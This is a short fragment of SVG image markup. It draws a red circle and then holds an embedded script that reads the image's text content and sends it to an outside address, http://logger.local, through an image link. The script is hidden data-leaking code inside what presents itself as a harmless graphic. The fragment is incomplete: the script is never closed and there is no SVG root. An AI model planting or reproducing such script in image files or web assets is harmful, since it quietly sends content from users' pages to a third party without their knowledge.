<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<script>
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger);
